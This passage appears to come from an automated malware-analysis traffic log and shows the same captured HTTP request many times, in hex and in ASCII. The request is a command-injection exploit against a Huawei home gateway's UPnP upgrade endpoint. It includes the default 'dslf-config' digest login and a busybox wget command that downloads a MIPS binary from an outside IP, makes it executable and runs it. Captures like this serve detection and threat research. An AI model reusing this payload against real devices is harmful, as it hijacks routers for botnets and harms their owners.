/t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 